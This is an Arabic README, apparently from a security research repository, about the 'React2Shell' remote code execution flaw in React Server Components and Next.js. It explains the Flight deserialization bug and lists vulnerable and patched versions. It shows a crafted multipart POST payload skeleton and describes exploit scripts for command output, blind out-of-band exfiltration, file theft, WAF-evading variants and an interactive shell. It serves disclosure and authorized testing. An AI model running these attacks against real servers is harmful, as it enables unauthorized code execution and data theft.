
مجموعة أدوات استغلال RCE لثغرات CVE-2025-55182 وCVE-2025-66478 في مكونات خادم React. تتضمن متغيرات متعددة للاستغلال، ونصوص اكتشاف، وخادم اختبار قابل للاستغلال، وتحليلًا تقنيًا معمقًا لثغرة إلغاء تسلسل بروتوكول Flight.
CVE-2025-55182 (React) و CVE-2025-66478 (Next.js)
يحتوي هذا المستودع على كود استغلال لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط.
انظر أيضًا: نشر العديد من الباحثين تحليلات لهذه الثغرة. راجع قسم المراجع للحصول على وجهات نظر إضافية وتقنيات استغلال وطرق كشف.
في يوم الأربعاء 3 ديسمبر 2025، تم الكشف علنًا عن ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React. تتيح هذه الثغرة، التي أُطلق عليها اسم «React2Shell»، لمهاجم غير مصادق تنفيذ تعليمات برمجية عشوائية على أي خادم يشغّل إصدارات ضعيفة من React RSC أو Next.js App Router عبر إرسال طلب HTTP واحد.
نظرًا لمدى انتشار Next.js - فهو يشغّل جزءًا كبيرًا من الويب الحديث - فإن تأثير هذه الثغرة بالغ الخطورة. أي تطبيق Next.js يستخدم App Router (الخيار الافتراضي للمشاريع الجديدة منذ Next.js 13) مع تفعيل RSC يكون عرضة للثغرة. لا يتطلب الأمر أي إعدادات خاصة. ولا نقاط نهاية محددة. فقط طلب POST إلى أي مسار.
تكمن الثغرة في بروتوكول «Flight» الخاص بـ React، وهو تنسيق التسلسل المستخدم لنقل البيانات بين الخادم والعميل في مكونات خادم React. إن غياب فحص hasOwnProperty أثناء إلغاء التسلسل يسمح بالتنقل عبر سلسلة النماذج الأولية (prototype chain)، وصولًا في النهاية إلى مُنشئ Function في جافاسكربت لتنفيذ تعليمات برمجية يتحكم فيها المهاجم.
توجد العلة في حزم React التالية: react-server-dom-webpack وreact-server-dom-turbopack وreact-server-dom-parcel. وNext.js، باعتبارها المستهلك المهيمن لـ RSC، ترث الثغرة عبر App Router الخاص بها.
العديد من الخدمات معرضة للثغرة بشكل محتمل. يُعد Next.js أحد أكثر أُطر React شيوعًا، وتستخدمه شركات من جميع الأحجام - من الشركات الناشئة إلى المؤسسات الكبرى. لقد كان App Router مع مكونات خادم React البنية الافتراضية لمشاريع Next.js الجديدة منذ الإصدار 13، مما يعني أن معظم عمليات نشر Next.js الحديثة متأثرة.
أي تطبيق يستخدم:
react-server-dom-* الضعيفة (19.0.0 - 19.2.0)يشمل ذلك عمليات النشر الإنتاجية على Vercel وAWS والبنية التحتية المستضافَة ذاتيًا وأي مكان آخر تعمل فيه تطبيقات Next.js App Router.
غير المتأثرين:
process.mainModule)| الحزمة | الإصدارات الضعيفة | الإصدارات المُصحَّحة |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| خط الإصدار | الإصدار الضعيف | الإصدار المُصحَّح |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
قم بالترقية فورًا. لا توجد حلول بديلة.
لتطبيقات Next.js:
npm install next@latest
# or
pnpm update next
لاستخدام React RSC مباشرة:
npm install react-server-dom-webpack@latest
تحقق من الإصدارات المثبتة لديك:
npm ls next react-server-dom-webpack react-server-dom-turbopack
تم اكتشاف عدة نواقل هجوم لهذه الثغرة. الأكثر شيوعًا - وهو الذي يعمل دون أي متطلبات مسبقة - يستخدم تلوث النموذج الأولي (prototype pollution) عبر نظام المراجع في بروتوكول Flight الخاص بـ React.
يرسل الاستغلال طلب POST متعدد الأجزاء (multipart) مصنوعًا بعناية مع ترويسة Next-Action. تستغل الحمولة نظام المراجع من أجل:
$1:__proto__:thenFunction في جافاسكربتPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
يُتنفَّذ الكود أثناء إلغاء التسلسل، قبل أي تحقق من معرّف الإجراء (action ID). هذا يعني أن أي قيمة لترويسة Next-Action تُفعّل مسار الكود الضعيف - دون الحاجة إلى معرّف إجراء صالح.
توجد نواقل هجوم أخرى، بما في ذلك مراجع الدوال
$Fوأدوات الوحدات المباشرة (module gadgets). تتطلب هذه عادةً معرّف إجراء صالحًا. راجع نواقل الهجوم البديلة للتفاصيل.
يحل بروتوكول Flight الخاص بـ React المراجع مثل $1:path:to:value بتقسيمها على النقطتين الرأسيتين (:) والتنقل عبر الكائن:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
المفارقة: في أعلى هذا الملف نفسه، السطر 35:
import hasOwnProperty from 'shared/hasOwnProperty';تم استيراد الحارس. كان متاحًا. لكنه لم يُستخدم في الحلقة الوحيدة التي كان فيها في أمسّ الحاجة.
يسمح هذا الفحص المفقود الوحيد لـ $1:__proto__:then بالتنقل من كائن chunk، عبر سلسلة النماذج الأولية، إلى Chunk.prototype.then - وهي دالة تعالج الكائنات الشبيهة بالوعود (Promise). من خلال صياغة chunk مزيف بالخصائص الصحيحة، نتحكم في الكود الذي سيتم تنفيذه.
استنسِخ خادم الاختبار الضعيف:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
في طرفية أخرى:
./detect.sh http://localhost:3443
يعيد الخادم الضعيف HTTP 500 مع E{"digest" في نص الاستجابة. لإظهار RCE:
./exploit-redirect.sh http://localhost:3443 "id"
يظهر مخرَج الأمر في الاستجابة. للاستكشاف التفاعلي:
./shell.sh http://localhost:3443
يحتوي دليل vulnerable-next-server/ على تطبيق Next.js 16.0.6 + React 19.2.0 مُهيأ مسبقًا للاختبار المحلي الآمن. يعمل على المنفذ 3443 افتراضيًا. هذا إعداد App Router بسيط يوضح أن التكوينات الافتراضية معرضة للثغرة.
طورنا عدة أشكال من الاستغلال للتعامل مع سيناريوهات مختلفة:
| السكربت | HTTP | المخرَج | الإنتاج | ملاحظات |
|---|---|---|---|---|
exploit-redirect.sh | 303 | ترويسة x-action-redirect | نعم | موصى به. لا متطلبات مسبقة. |
exploit-throw.sh | 500 | نص استجابة الخطأ | لا | وضع التطوير فقط (تُجرد تفاصيل الأخطاء في الإنتاج). |
exploit-blind.sh | 200 | جانب الخادم فقط | نعم | أطلِقْ وانْسَ (Fire-and-forget). يُستخدم لاستخراج البيانات خارج النطاق (OOB). |
exploit-urlencoded.sh | 303 | ترويسة x-action-redirect | نعم | بصمة WAF مختلفة. يتطلب معرّف إجراء. |
exploit-reflect.sh | 200 | نص الاستجابة | نعم | الأكثر تكتّمًا. يتطلب معرّف إجراء. |
ملاحظة الإنتاج: يزيل React رسائل الأخطاء في إصدارات الإنتاج، مما يعطّل طريقة
throw. فقطexploit-redirect.shيلتقط مخرَج الأوامر بشكل موثوق في الإنتاج دون متطلبات مسبقة. يُخزَّن رابط إعادة التوجيه في خاصيةdigestالخاصة بالخطأ (بيانات وصفية)، وهي لا تُعقَّم - على عكسmessageالتي تصبح{digest: "..."}فقط.
سكربتات مساعدة:
detect.sh - فحص ثغرة غير تخريبي (بدون تنفيذ كود)enumerate-actions.sh - يكتشف معرّفات إجراءات الخادم (Server Action IDs) الصالحة من HTML الهدفexfil-file.sh - استخراج ملفات مجزّأة (يتعامل تلقائيًا مع الملفات الكبيرة)shell.sh - شل زائف تفاعلي عبر RCE